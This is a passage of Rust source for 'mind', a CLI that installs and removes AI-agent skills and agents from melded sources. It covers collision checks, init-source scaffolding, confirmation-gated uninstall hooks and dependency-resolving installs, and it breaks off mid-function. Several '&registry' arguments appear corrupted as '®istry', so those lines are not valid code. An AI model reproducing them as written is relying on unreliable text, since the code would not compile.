fn warn_unguarded_references(items: &[CatalogItem]) {
if !crate::render::ctx().verbose {
return;
}
if !items.iter().any(|it| it.prefix.is_some()) {
return;
}
let agent_names: std::collections::HashSet<String> = items
.iter()
.filter(|it| it.kind == ItemKind::Agent)
.map(|it| it.name.clone())
.collect();
let non_agent_names: std::collections::HashSet<String> = items
.iter()
.filter(|it| it.kind != ItemKind::Agent)
.map(|it| it.name.clone())
.collect();
let siblings: std::collections::HashSet<String> = items
.iter()
.map(|it| it.name.clone())
.filter(|name| {
!agent_names.contains(name) || non_agent_names.contains(name)
})
.collect();
for item in items {
let mut refs: Vec<String> = Vec::new();
for file in crate::review::item_files(item) {
let Ok(content) = std::fs::read_to_string(&file) else {
continue; };
for r in crate::namespace::unguarded_refs(&content, &siblings) {
if r != item.name && !refs.contains(&r) {
refs.push(r);
}
}
}
if !refs.is_empty() {
let refs_display: Vec<String> = refs
.iter()
.map(|r| crate::sanitize::strip_ansi(r))
.collect();
eprintln!(
"warning: {} references sibling(s) in prose: {}; prefixing may break them at runtime (use {{{{ns:name}}}})",
item.display_key(),
refs_display.join(", ")
);
}
}
}
fn warn_agent_collisions(paths: &Paths, items: &[CatalogItem]) {
let manifest = match Manifest::load(paths) {
Ok(m) => m,
Err(_) => return, };
let agent_homes = match paths.agent_homes() {
Ok(h) => h,
Err(_) => return,
};
for item in items {
if item.kind != ItemKind::Agent {
continue;
}
let harness_name = item
.agent_harness_name()
.unwrap_or_else(|| item.name.clone());
let link_rel = item
.link_rel
.clone()
.or_else(|| paths.default_link_rel(ItemKind::Agent, &harness_name));
let Some(rel) = link_rel else { continue };
let planned: Vec<std::path::PathBuf> = agent_homes
.iter()
.filter(|h| h.admits(ItemKind::Agent))
.map(|h| h.path.join(&rel))
.collect();
for entry in manifest.items.values() {
if entry.kind != ItemKind::Agent {
continue;
}
if entry.source == item.source && entry.bare_name == item.name {
continue;
}
let collides = entry.links.iter().any(|link| {
planned
.iter()
.any(|p| p.as_path() == std::path::Path::new(link.as_str()))
});
if collides {
let quoted_key = crate::error::shell_quote(&entry.display_key());
eprintln!(
"warning: agent '{harness_name}' from '{}' would collide with the installed \
agent from '{}' at agents/{harness_name}.md -- run `mind forget {quoted_key}` to \
remove it first",
item.source, entry.source,
);
}
}
}
}
fn agent_collision(
paths: &Paths,
manifest: &Manifest,
target: &CatalogItem,
) -> Result<Option<MindError>> {
if target.kind != ItemKind::Agent {
return Ok(None);
}
let harness_name = target
.agent_harness_name()
.unwrap_or_else(|| target.name.clone());
let Some(rel) = target
.link_rel
.clone()
.or_else(|| paths.default_link_rel(ItemKind::Agent, &harness_name))
else {
return Ok(None);
};
let planned: Vec<std::path::PathBuf> = paths
.agent_homes()?
.iter()
.filter(|h| h.admits(ItemKind::Agent))
.map(|h| h.path.join(&rel))
.collect();
for entry in manifest.items.values() {
if entry.kind != ItemKind::Agent {
continue;
}
if entry.source == target.source && entry.bare_name == target.name {
continue;
}
let collides = entry.links.iter().any(|link| {
planned
.iter()
.any(|p| p.as_path() == std::path::Path::new(link.as_str()))
});
if collides {
return Ok(Some(MindError::AgentCollision {
name: harness_name,
existing: entry.source.clone(),
incoming: target.source.clone(),
}));
}
}
Ok(None)
}
fn siblings_of(items: &[CatalogItem], source: &str) -> Vec<CatalogItem> {
items
.iter()
.filter(|it| it.source == source)
.cloned()
.collect()
}
fn link_add_root(item_path: &str) -> String {
let skill_dir = std::path::Path::new(item_path);
let root = match skill_dir.parent() {
Some(parent)
if parent
.file_name()
.is_some_and(|n| n == ItemKind::Skill.dir()) =>
{
parent.parent()
}
other => other,
};
let rendered = root
.map(|p| p.to_string_lossy().into_owned())
.unwrap_or_default();
if rendered.is_empty() {
".".to_string()
} else {
rendered
}
}
fn link_meld_remedy(identity: &str, url: &str, item_name: &str, add_root: Option<&str>) -> String {
let identity = crate::error::shell_quote(&glob::Pattern::escape(&strip_ansi(identity)));
let url = crate::error::shell_quote(&strip_ansi(url));
let pattern = crate::error::shell_quote(&format!(
"skill:{}",
glob::Pattern::escape(&strip_ansi(item_name))
));
let add_root = add_root
.map(|r| format!(" --add-root {}", crate::error::shell_quote(&strip_ansi(r))))
.unwrap_or_default();
format!("mind unmeld {identity} --yes && mind meld {url}{add_root} --learn {pattern} --yes")
}
fn plain_meld_reaches_link(paths: &Paths, source: &crate::source::Source) -> bool {
let Some(item_path) = source.item_path.as_deref() else {
return true;
};
let clone_dir = source.clone_dir(paths);
let whole = crate::source::Source {
item_path: None,
..source.clone()
};
let mut items: Vec<CatalogItem> = Vec::new();
if catalog::scan_source_at(&clone_dir, &whole, &mut items).is_err() {
return false;
}
let canon = |p: &std::path::Path| p.canonicalize().unwrap_or_else(|_| p.to_path_buf());
let target = canon(&clone_dir.join(item_path));
items
.iter()
.any(|it| it.kind == ItemKind::Skill && canon(&it.path) == target)
}
fn requires_resolves_alone(entry: &str, item: &CatalogItem) -> bool {
let Ok(r) = crate::resolve::parse_item_ref(entry) else {
return true; };
if r.source.is_some() {
return true; }
r.name == item.name && r.kind.is_none_or(|k| k == item.kind)
}
fn sibling_token_resolves_alone(r: &crate::namespace::SiblingRef, item: &CatalogItem) -> bool {
r.name == item.name && r.kind.is_none_or(|k| k == item.kind)
}
fn expandable_files(item: &CatalogItem) -> Result<Vec<std::path::PathBuf>> {
let mut files: Vec<std::path::PathBuf> = Vec::new();
if item.path.is_dir() {
install::collect_files(&item.path, &mut files)?;
files.sort();
} else {
files.push(item.path.clone());
}
let expand: Vec<&str> = item.expand.iter().map(String::as_str).collect();
Ok(files
.into_iter()
.filter(|file| {
if crate::namespace::is_markdown(file) {
return true;
}
if !item.path.is_dir() {
return false;
}
file.strip_prefix(&item.path)
.is_ok_and(|rel| expand.iter().any(|e| std::path::Path::new(e) == rel))
})
.collect())
}
fn link_reconciled<'a>(
paths: &Paths,
registry: &Registry,
item: &'a CatalogItem,
) -> Result<(std::borrow::Cow<'a, CatalogItem>, Vec<String>)> {
let Some(source) = registry.find(&item.source) else {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
};
if source.item_path.is_none() {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
}
let remedy = || {
let add_root = (!plain_meld_reaches_link(paths, source))
.then(|| source.item_path.as_deref().map(link_add_root))
.flatten();
link_meld_remedy(&source.name, &source.url, &item.name, add_root.as_deref())
};
for file in expandable_files(item)? {
let Ok(text) = std::fs::read_to_string(&file) else {
continue;
};
for r in crate::namespace::sibling_reference_tokens(&text) {
if sibling_token_resolves_alone(&r, item) {
continue;
}
return Err(MindError::LinkRefUnsatisfiable {
item: item.display_key(),
referent: strip_ansi(&r.token),
in_source: strip_ansi(&item.source),
remedy: remedy(),
});
}
}
let (keep, dropped): (Vec<String>, Vec<String>) = item
.requires
.iter()
.cloned()
.partition(|e| requires_resolves_alone(e, item));
if dropped.is_empty() {
return Ok((std::borrow::Cow::Borrowed(item), Vec::new()));
}
let dropped: Vec<String> = dropped.iter().map(|e| strip_ansi(e)).collect();
let listed = dropped.join(", ");
let remedy = remedy();
crate::render::warn(format!(
"{} declares requires {listed}, which was dropped: source {} is a single-skill item \
link with no siblings, so the requirement cannot resolve. To install this skill \
together with what it requires, replace the link with the whole repo: `{remedy}`",
item.display_key(),
strip_ansi(&item.source)
));
let mut reconciled = item.clone();
reconciled.requires = keep;
Ok((std::borrow::Cow::Owned(reconciled), dropped))
}
pub fn init_source(
dir: Option<&str>,
template: bool,
marketplace: bool,
flat_skills_flag: bool,
namespace: Option<String>,
) -> Result<()> {
let dir = dir.unwrap_or(".");
let path = std::path::Path::new(dir);
if !path.is_dir() {
return Err(MindError::NotADirectory {
path: dir.to_string(),
});
}
let root = path.canonicalize().map_err(|e| MindError::io(path, e))?;
let toml_path = root.join("mind.toml");
let pre_toml = if toml_path.exists() {
Some(std::fs::read_to_string(&toml_path).map_err(|e| MindError::io(&toml_path, e))?)
} else {
None
};
let mut source = parse_spec(&root.to_string_lossy())?;
if flat_skills_flag {
source.flat_skills = true;
}
let mut items: Vec<CatalogItem> = Vec::new();
catalog::scan_source_at(&root, &source, &mut items)?;
println!("init-source: {}", root.display());
if items.is_empty() {
println!(
" no items found (skills/<name>/SKILL.md, agents/<name>.md, rules/<name>.md, \
commands/<name>.md)"
);
} else {
println!(" {} item(s):", items.len());
for it in &items {
println!(" {} {}", it.kind, it.display_name());
}
}
let siblings: std::collections::HashSet<String> =
items.iter().map(|it| it.name.clone()).collect();
let prefix_in_force = items.iter().any(|it| it.prefix.is_some());
let mut findings: Vec<crate::review::Finding> = Vec::new();
for it in &items {
let content = read_item_text(it);
let tokens: Vec<String> = crate::namespace::referenced_names(&content)
.into_iter()
.filter(|n| n != &it.name)
.collect();
let bare: Vec<String> = crate::namespace::unguarded_refs(&content, &siblings)
.into_iter()
.filter(|n| n != &it.name)
.collect();
if !tokens.is_empty() {
println!(
" {} {} -> {} (tokenized)",
it.kind,
it.name,
tokens.join(", ")
);
}
if prefix_in_force && !bare.is_empty() {
findings.push(crate::review::Finding::advisory(
"unguarded-reference",
format!(
"{}: references sibling(s) in prose: {}; prefixing may break them at runtime (use {{{{ns:name}}}})",
it.key().as_str(),
bare.join(", ")
),
));
}
}
let has_unguarded = findings.iter().any(|f| f.kind == "unguarded-reference");
findings.extend(crate::review::duplicate_tooling_findings(&items));
crate::review::print_findings(&[], &findings);
if has_unguarded && !template {
let quoted_dir = crate::error::shell_quote(dir);
println!(
"run `mind init-source {quoted_dir} --template` to wrap the bare references as {{{{ns:name}}}}"
);
}
if flat_skills_flag || namespace.is_some() {
let patched = crate::scaffold::patch_source_meta(
pre_toml.as_deref(),
flat_skills_flag,
namespace.as_deref(),
);
std::fs::write(&toml_path, &patched).map_err(|e| MindError::io(&toml_path, e))?;
println!(" wrote mind.toml");
} else if toml_path.exists() {
println!(" mind.toml already exists; left unchanged");
} else {
std::fs::write(&toml_path, crate::scaffold::SCAFFOLD)
.map_err(|e| MindError::io(&toml_path, e))?;
println!(" wrote mind.toml");
}
if marketplace {
if plugin_manifest::find_marketplace_manifest(&root).is_some() {
println!(" .claude-plugin/marketplace.json already exists; left unchanged");
} else {
let dir_basename = root
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default();
let mindfile_prefix =
crate::mindfile::MindToml::load(&root)?.and_then(|mt| mt.source.prefix);
let name = crate::scaffold::plugin_name(
&dir_basename,
mindfile_prefix.as_deref(),
namespace.as_deref(),
);
let description = crate::mindfile::MindToml::load(&root)
.ok()
.flatten()
.and_then(|mt| mt.source.description)
.filter(|d| !d.trim().is_empty())
.unwrap_or_else(|| "TODO: describe this plugin".to_string());
let skills: Option<Vec<String>> = if flat_skills_flag {
let mut paths: Vec<String> = items
.iter()
.filter(|it| it.kind == ItemKind::Skill)
.filter_map(|it| {
it.path
.strip_prefix(&root)
.ok()
.map(|rel| rel.to_string_lossy().into_owned())
})
.collect();
paths.sort();
Some(paths)
} else {
None
};
let plugin_dir = root.join(".claude-plugin");
std::fs::create_dir_all(&plugin_dir).map_err(|e| MindError::io(&plugin_dir, e))?;
let json_path = plugin_manifest::marketplace_manifest_path(&root);
let json =
crate::scaffold::render_marketplace_json(&name, &description, skills.as_deref());
std::fs::write(&json_path, &json).map_err(|e| MindError::io(&json_path, e))?;
println!(" wrote .claude-plugin/marketplace.json");
}
}
if template {
let mut total = 0usize;
for it in &items {
let mut sibs = siblings.clone();
sibs.remove(&it.name);
for file in crate::review::item_files(it) {
if !crate::namespace::is_markdown(&file) {
continue;
}
let Ok(content) = std::fs::read_to_string(&file) else {
continue; };
let (rewritten, n) = crate::namespace::templatize(&content, &sibs);
if n > 0 {
std::fs::write(&file, &rewritten).map_err(|e| MindError::io(&file, e))?;
println!(" templated {n} reference(s) in {}", file.display());
total += n;
}
}
}
if total == 0 {
println!(" no bare references to template");
}
}
Ok(())
}
fn read_item_text(item: &CatalogItem) -> String {
let mut buf = String::new();
for file in crate::review::item_files(item) {
if !crate::namespace::is_markdown(&file) {
continue;
}
if let Ok(content) = std::fs::read_to_string(&file) {
buf.push_str(&content);
buf.push('\n');
}
}
buf
}
fn run_uninstall_hooks(
paths: &Paths,
registry: &Registry,
idx: usize,
source_name: &str,
uninstall_hook: Option<&str>,
dangerously_skip_hook_check: bool,
) -> Result<bool> {
let clone_dir = registry.sources[idx].clone_dir(paths);
let source_pin = registry.sources[idx].pin.clone();
let source_commit = registry.sources[idx].commit.clone();
let mindfile = MindToml::load(&clone_dir).unwrap_or_default();
let toml_path = clone_dir.join("mind.toml");
let resolved = mindfile
.as_ref()
.map(|m| m.resolved_hooks(&toml_path))
.transpose()?
.unwrap_or_default();
let (resolved, replaced) =
crate::hook::apply_hook_override(resolved, uninstall_hook, HookEvent::Uninstall);
let override_cmd = uninstall_hook.map(str::trim).filter(|s| !s.is_empty());
let replaced_note = replaced.map(|cmds| cmds.join("; "));
let pin_desc = pin_description(&source_pin);
let commit = source_commit.unwrap_or_default();
let clone_path = clone_dir.display().to_string();
for h in resolved.iter().filter(|h| h.event == HookEvent::Uninstall) {
let declared_override = match (&replaced_note, override_cmd) {
(Some(note), Some(cmd)) if h.run == cmd => Some(note.as_str()),
_ => None,
};
let browse_url = registry.sources[idx].browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
h.label(),
h.event.as_str(),
h.optional,
source_name,
&pin_desc,
&commit,
&clone_path,
&h.run,
declared_override,
browse_url.as_deref(),
);
match crate::hook::decide(&disclosure, h.optional, dangerously_skip_hook_check)? {
crate::hook::HookAct::Run => {
println!("running uninstall hook '{}' for {}", h.label(), source_name);
crate::hook::run_hook(&h.run, &clone_dir, source_name, "uninstall", h.label())?;
}
crate::hook::HookAct::Skip => {
crate::render::note(format!(
"note: skipped uninstall hook '{}' for {}",
h.label(),
source_name
));
}
crate::hook::HookAct::Abort => {
println!("aborted; source left in place");
return Ok(false);
}
}
}
Ok(true)
}
pub fn unmeld(
paths: &Paths,
name: &str,
unlink_only: bool,
yes: bool,
dangerously_skip_hook_check: bool,
uninstall_hook: Option<String>,
) -> Result<()> {
let out = crate::render::ctx();
let registry = Registry::load(paths)?;
crate::resolve::validate_source_selector(name)?;
let matched: Vec<usize> = if is_glob(name) {
registry
.sources
.iter()
.enumerate()
.filter(|(_, s)| source_matches_glob(&s.name, name))
.map(|(i, _)| i)
.collect()
} else {
let exact: Vec<usize> = registry
.sources
.iter()
.enumerate()
.filter(|(_, s)| source_matches(&s.name, name))
.map(|(i, _)| i)
.collect();
match exact.as_slice() {
[] => {
return Err(MindError::SourceNotFound {
name: name.to_string(),
});
}
[only] => vec![*only],
many => {
return Err(MindError::AmbiguousSource {
query: name.to_string(),
candidates: many
.iter()
.map(|i| registry.sources[*i].name.clone())
.collect(),
});
}
}
};
if matched.is_empty() {
return Err(MindError::SourceNotFound {
name: name.to_string(),
});
}
if matched.len() > 1 && !yes {
if !out.json {
println!("unmeld would remove {} source(s):", matched.len());
for i in &matched {
println!(" {} {}", out.warn(), registry.sources[*i].name);
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("unmelding {} sources", matched.len()),
out.json,
),
});
}
if !confirm("remove these source(s)?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let multi = matched.len() > 1;
let names: Vec<String> = matched
.iter()
.map(|i| registry.sources[*i].name.clone())
.collect();
drop(registry);
for source_name in names {
unmeld_one(
paths,
&source_name,
unlink_only,
yes || multi,
dangerously_skip_hook_check,
uninstall_hook.as_deref(),
)?;
}
Ok(())
}
fn unmeld_one(
paths: &Paths,
source_name: &str,
unlink_only: bool,
yes: bool,
dangerously_skip_hook_check: bool,
uninstall_hook: Option<&str>,
) -> Result<()> {
let out = crate::render::ctx();
let mut registry = Registry::load(paths)?;
let idx = match registry.sources.iter().position(|s| s.name == source_name) {
Some(i) => i,
None => {
return Err(MindError::SourceNotFound {
name: source_name.to_string(),
});
}
};
let source_name = source_name.to_string();
let mut manifest = Manifest::load(paths)?;
let item_keys: Vec<String> = manifest
.items
.values()
.filter(|it| it.source == source_name)
.map(|it| it.key().into())
.collect();
if unlink_only {
let proceed = run_uninstall_hooks(
paths,
®istry,
idx,
&source_name,
uninstall_hook,
dangerously_skip_hook_check,
)?;
if !proceed {
return Ok(());
}
let source = registry.sources.remove(idx);
let dir = clone_dir_checked(paths, &source)?;
if !source.is_linked() && dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
registry.save(paths)?;
if out.json {
let mut result = MutationResult::new("unmeld", &source_name, "unlinked");
result.count = Some(item_keys.len());
return print_json(&result);
}
if item_keys.is_empty() {
println!("{} unmelded {source_name}", out.ok());
} else {
println!(
"{} unmelded {source_name}; {} item(s) remain installed:",
out.ok(),
item_keys.len()
);
for k in &item_keys {
println!(" {} {}", out.bullet(), strip_ansi(k));
}
let quoted_ref = crate::error::shell_quote(&format!("{source_name}#*"));
println!("run `mind forget {quoted_ref}` to remove them");
}
return Ok(());
}
if item_keys.len() > 1 && !yes {
if !out.json {
println!(
"unmelding {source_name} will remove {} installed item(s):",
item_keys.len()
);
for k in &item_keys {
println!(" {} {}", out.warn(), strip_ansi(k));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"unmelding {source_name} (removing {} items)",
item_keys.len()
),
out.json,
),
});
}
if !confirm("remove these item(s) and unmeld the source?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let source_ref = ®istry.sources[idx];
let mut item_catalog: Vec<CatalogItem> = Vec::new();
let _ = catalog::scan_source(paths, source_ref, &mut item_catalog);
let commit = source_ref.commit.clone().unwrap_or_default();
let mut forgotten = 0;
for key in &item_keys {
if let Some(item) = manifest.items.remove(key) {
let uninstall_hooks: Vec<&crate::mindfile::ResolvedHook> =
item_catalog_match(&item_catalog, &item)
.map(|c| c.uninstall_hooks())
.unwrap_or_default();
if let Err(e) = uninstall_item(
paths,
&item,
&uninstall_hooks,
&commit,
dangerously_skip_hook_check,
) {
manifest.items.insert(key.clone(), item);
manifest.save(paths)?;
registry.save(paths)?;
return Err(e);
}
forgotten += 1;
}
}
manifest.save(paths)?;
let proceed = run_uninstall_hooks(
paths,
®istry,
idx,
&source_name,
uninstall_hook,
dangerously_skip_hook_check,
)?;
if !proceed {
registry.save(paths)?;
return Ok(());
}
let source = registry.sources.remove(idx);
let dir = clone_dir_checked(paths, &source)?;
if !source.is_linked() && dir.exists() {
std::fs::remove_dir_all(&dir).map_err(|e| MindError::io(&dir, e))?;
}
registry.save(paths)?;
if out.json {
let mut result = MutationResult::new("unmeld", &source_name, "removed");
result.count = Some(forgotten);
return print_json(&result);
}
println!(
"{} unmelded {source_name} ({forgotten} installed item(s) removed)",
out.ok()
);
Ok(())
}
#[allow(dead_code)]
pub struct LearnPlan {
pub tree: String,
pub adds_dependencies: bool,
pub install_count: usize,
pub keys: Vec<String>,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub(crate) struct LearnTarget {
pub source: String,
pub key: String,
}
impl LearnTarget {
fn display(&self) -> String {
format!(
"{}#{}",
strip_ansi(&self.source),
glob::Pattern::escape(&strip_ansi(&self.key))
)
}
}
#[derive(Clone, Copy)]
enum Selection<'a> {
Ref(&'a str),
Exact(&'a LearnTarget),
}
impl Selection<'_> {
fn display(&self) -> String {
match self {
Selection::Ref(r) => (*r).to_string(),
Selection::Exact(t) => t.display(),
}
}
}
fn exact_index(items: &[CatalogItem], target: &LearnTarget) -> Option<usize> {
items
.iter()
.position(|c| c.source == target.source && c.key().as_str() == target.key)
}
fn resolve_learn(
paths: &Paths,
selection: Selection<'_>,
) -> Result<(Registry, Vec<CatalogItem>, crate::deps::Resolution)> {
let registry = Registry::load(paths)?;
let items = catalog::scan(paths, ®istry)?;
let selected_idx: Vec<usize> = match selection {
Selection::Ref(item_ref) => {
let parsed = parse_item_ref(item_ref)?;
let targets: Vec<&CatalogItem> = if is_glob(&parsed.name) {
let matches = select(&items, &parsed);
if matches.is_empty() {
return Err(MindError::ItemNotFound {
query: parsed.name.clone(),
sources: registry.sources.len(),
});
}
matches
} else {
vec![resolve(&items, &parsed, registry.sources.len())?]
};
targets
.iter()
.filter_map(|t| {
items
.iter()
.position(|c| c.kind == t.kind && c.name == t.name && c.source == t.source)
})
.collect()
}
Selection::Exact(target) => match exact_index(&items, target) {
Some(i) => vec![i],
None => {
return Err(MindError::ItemNotFound {
query: target.display(),
sources: registry.sources.len(),
});
}
},
};
let manifest = Manifest::load(paths)?;
let installed: HashSet<String> = manifest.items.keys().cloned().collect();
let read = |item: &CatalogItem| -> String {
let mut parts: Vec<String> = Vec::new();
for file in crate::review::item_files(item) {
if !crate::namespace::is_markdown(&file) {
continue;
}
if let Ok(content) = std::fs::read_to_string(&file) {
parts.push(content);
}
}
parts.join("\n")
};
let resolution = crate::deps::resolve(&items, &selected_idx, &installed, read);
Ok((registry, items, resolution))
}
#[allow(dead_code)]
pub fn learn_preview(paths: &Paths, item_ref: &str) -> Result<LearnPlan> {
learn_plan(paths, Selection::Ref(item_ref))
}
fn learn_plan(paths: &Paths, selection: Selection<'_>) -> Result<LearnPlan> {
let (_registry, items, resolution) = resolve_learn(paths, selection)?;
let order = resolution.install_order();
Ok(LearnPlan {
tree: resolution.render_tree(&items),
adds_dependencies: resolution.adds_dependencies(),
install_count: order.len(),
keys: order
.iter()
.map(|&i| items[i].key().as_str().to_string())
.collect(),
})
}
#[derive(Clone, Copy, PartialEq, Eq)]
pub enum Clobber {
Error,
Prompt,
Force,
}
#[derive(Clone, Copy)]
pub struct InstallFlow {
pub yes: bool,
pub clobber: Clobber,
pub dangerously_skip: bool,
pub dangerously_skip_build: bool,
}
pub fn apply_local_scope(
paths: &Paths,
local: bool,
) -> Result<Option<crate::paths::LocalLobeGuard>> {
let out = crate::render::ctx();
let detected = paths.detect_local_lobe()?;
if local {
match detected {
Some(lobe) => {
if !out.json {
eprintln!(
"note: --local -- installing into the project lobe {} only",
lobe.path.display()
);
}
Ok(Some(Paths::scope_to_local_lobe(lobe)))
}
None => {
if !out.json {
eprintln!(
"note: --local installs into a project lobe that lives at or below the \
current directory, but no registered project lobe lives under this \
directory"
);
eprintln!(
"hint: --local matches a lobe directory strictly BELOW the current one, \
so run it from the project root (not from inside the lobe dir or a \
nested subdirectory)"
);
eprintln!(
"hint: register one with `mind link-project` (or `mind config lobes add`), \
or drop --local to install into every configured agent home"
);
}
Err(MindError::LobeTargetRequired)
}
}
} else {
if let Some(lobe) = detected
&& !out.json
{
eprintln!(
"note: this directory has a registered project lobe ({}); \
pass --local to install only there",
lobe.path.display()
);
}
Ok(None)
}
}
#[cfg(unix)]
fn require_link_platform(_paths: &Paths) -> Result<()> {
Ok(())
}
#[cfg(not(unix))]
fn require_link_platform(paths: &Paths) -> Result<()> {
Err(MindError::io(
&paths.mind_home,
std::io::Error::new(
std::io::ErrorKind::Unsupported,
"mind requires a Unix-like platform: it links installed items with symlinks, \
and the non-unix copy fallback is not recognized as mind's own on a later \
reinstall or upgrade; this platform is not supported",
),
))
}
pub fn learn_link(
paths: &Paths,
url: &str,
pin: bool,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
let spec = parse_spec(url)?;
if spec.item_path.is_none() {
return Err(MindError::InvalidItemRef {
name: url.to_string(),
});
}
if !is_melded(paths, url, None)? {
let pin_req = if pin {
PinRequest::Freeze(None)
} else {
PinRequest::None
};
meld(
paths,
url,
None,
vec![],
vec![],
false,
pin_req,
None,
flow.dangerously_skip,
)?;
} else if pin {
let out = crate::render::ctx();
if !out.json {
println!(
"note: --pin ignored; {} is already melded (pin applies only at meld time)",
spec.name
);
}
}
learn(paths, &format!("{}#*", spec.name), dry_run, flow)
}
pub fn learn(paths: &Paths, item_ref: &str, dry_run: bool, flow: InstallFlow) -> Result<()> {
learn_selected(paths, Selection::Ref(item_ref), dry_run, flow)
}
fn learn_exact(
paths: &Paths,
target: &LearnTarget,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
learn_selected(paths, Selection::Exact(target), dry_run, flow)
}
fn learn_selected(
paths: &Paths,
selection: Selection<'_>,
dry_run: bool,
flow: InstallFlow,
) -> Result<()> {
let InstallFlow {
yes,
clobber,
dangerously_skip,
dangerously_skip_build,
} = flow;
let policy = Policy::load()?;
let out = crate::render::ctx();
let item_ref = selection.display();
let item_ref = item_ref.as_str();
let (registry, items, resolution) = resolve_learn(paths, selection).map_err(|e| {
if let MindError::ItemNotFound { ref query, sources } = e {
let quoted_query = crate::error::shell_quote(query);
if sources > 0 {
eprintln!("hint: run `mind probe {quoted_query}` to search available items");
}
if let Ok(reg) = Registry::load(paths) {
let matching: Vec<&str> = reg
.sources
.iter()
.map(|s| s.name.as_str())
.filter(|name| source_matches(name, query))
.collect();
if let [only] = matching.as_slice() {
eprintln!(
"hint: '{query}' names the melded source {only}; run \
`mind learn --all {quoted_query}` to install all of its items"
);
}
}
}
e
})?;
let order = resolution.install_order();
let closure: Vec<&CatalogItem> = order.iter().map(|&i| &items[i]).collect();
if closure.is_empty() && !dry_run {
if out.json {
return print_json(&MutationResult::new("learn", item_ref, "up-to-date"));
}
println!("already installed; nothing to do");
return Ok(());
}
if let Some((key, sources)) = colliding_install(&closure) {
return Err(MindError::AmbiguousItem {
query: key,
candidates: sources,
});
}
if dry_run {
if out.json {
let mut result = MutationResult::new("learn", item_ref, "dry-run");
result.installed = closure.iter().map(|t| t.display_key()).collect();
return print_json(&result);
}
if resolution.adds_dependencies() {
print!("{}", resolution.render_tree(&items));
}
println!("would learn {} item(s):", closure.len());
let rows = closure
.iter()
.map(|t| vec![t.display_key(), crate::sanitize::strip_ansi(&t.source)])
.collect::<Vec<_>>();
out.print_rows(&rows);
return Ok(());
}
if resolution.adds_dependencies() && !yes {
if out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("installing the dependency closure of '{item_ref}'"),
true,
),
});
}
print!("{}", resolution.render_tree(&items));
if !confirm("install this dependency closure?")? {
println!("cancelled; nothing installed");
return Ok(());
}
}
let mut manifest = Manifest::load(paths)?;
let mut failure = None;
let mut installed_keys: Vec<String> = Vec::new();
for target in &closure {
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&policy_identity(®istry, &target.source))
{
if !out.json {
println!(
"{} skipping {} from {}: source not permitted by the managed policy's allowlist",
out.warn(),
target.display_key(),
crate::sanitize::strip_ansi(&target.source)
);
}
continue;
}
let commit = match registry.find(&target.source) {
Some(s) => s.commit.clone().unwrap_or_default(),
None => {
failure = Some(MindError::SourceNotFound {
name: target.source.clone(),
});
break;
}
};
let (reconciled, dropped_requires) = match link_reconciled(paths, ®istry, target) {
Ok(c) => c,
Err(e) => {
failure = Some(e);
break;
}
};
let target: &CatalogItem = &reconciled;
if let Some(err) = agent_collision(paths, &manifest, target)? {
failure = Some(err);
break;
}
let siblings = siblings_of(&items, &target.source);
let force = clobber == Clobber::Force;
let is_update = manifest.items.contains_key(target.key().as_str());
let mut result = install_item(
paths,
target,
&commit,
&siblings,
force,
dangerously_skip,
dangerously_skip_build,
is_update,
);
if let Err(MindError::LinkOccupied { path }) = &result
&& clobber == Clobber::Prompt
&& crate::hook::is_tty()
&& !out.json
{
let path = path.clone();
result = if confirm(&format!(
"{} exists and is not managed by mind; overwrite it?",
display_path(std::path::Path::new(&path))
))? {
install_item(
paths,
target,
&commit,
&siblings,
true,
dangerously_skip,
dangerously_skip_build,
is_update,
)
} else {
Err(MindError::LinkOccupied { path })
};
}
match result {
Ok(mut installed) => {
installed.dropped_requires = dropped_requires;
installed_keys.push(installed.key().into());
if !out.json {
println!(
"learned {} from {} ({})",
installed.display_key(),
installed.source,
out.green(&short(&installed.commit))
);
}
manifest.insert(installed);
}
Err(e) => {
failure = Some(e);
break;
}
}
}
manifest.save(paths)?;
match failure {
Some(e) => Err(e),
None => {
if out.json {
let mut result = MutationResult::new("learn", item_ref, "installed");
result.installed = installed_keys
.iter()
.map(|k| crate::sanitize::strip_ansi(k))
.collect();
return print_json(&result);
}
Ok(())
}
}
}
fn learn_collecting(paths: &Paths, item_ref: &str, flow: InstallFlow) -> Result<Vec<String>> {
learn_collecting_selected(paths, Selection::Ref(item_ref), flow)
}
fn learn_collecting_exact(
paths: &Paths,
target: &LearnTarget,
flow: InstallFlow,
) -> Result<Vec<String>> {
learn_collecting_selected(paths, Selection::Exact(target), flow)
}
fn learn_collecting_selected(
paths: &Paths,
selection: Selection<'_>,
flow: InstallFlow,
) -> Result<Vec<String>> {
let InstallFlow {
clobber,
dangerously_skip,
dangerously_skip_build,
..
} = flow;
let policy = Policy::load()?;
let (registry, items, resolution) = resolve_learn(paths, selection)?;
let order = resolution.install_order();
let closure: Vec<&CatalogItem> = order.iter().map(|&i| &items[i]).collect();
if closure.is_empty() {
return Ok(vec![]);
}
if let Some((key, sources)) = colliding_install(&closure) {
return Err(MindError::AmbiguousItem {
query: key,
candidates: sources,
});
}
let mut manifest = Manifest::load(paths)?;
let mut failure = None;
let mut installed_keys: Vec<String> = Vec::new();
for target in &closure {
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&policy_identity(®istry, &target.source))
{
continue; }
let commit = match registry.find(&target.source) {
Some(s) => s.commit.clone().unwrap_or_default(),
None => {
failure = Some(MindError::SourceNotFound {
name: target.source.clone(),
});
break;
}
};
let (reconciled, dropped_requires) = match link_reconciled(paths, ®istry, target) {
Ok(c) => c,
Err(e) => {
failure = Some(e);
break;
}
};
let target: &CatalogItem = &reconciled;
if let Some(err) = agent_collision(paths, &manifest, target)? {
failure = Some(err);
break;
}
let siblings = siblings_of(&items, &target.source);
let force = clobber == Clobber::Force;
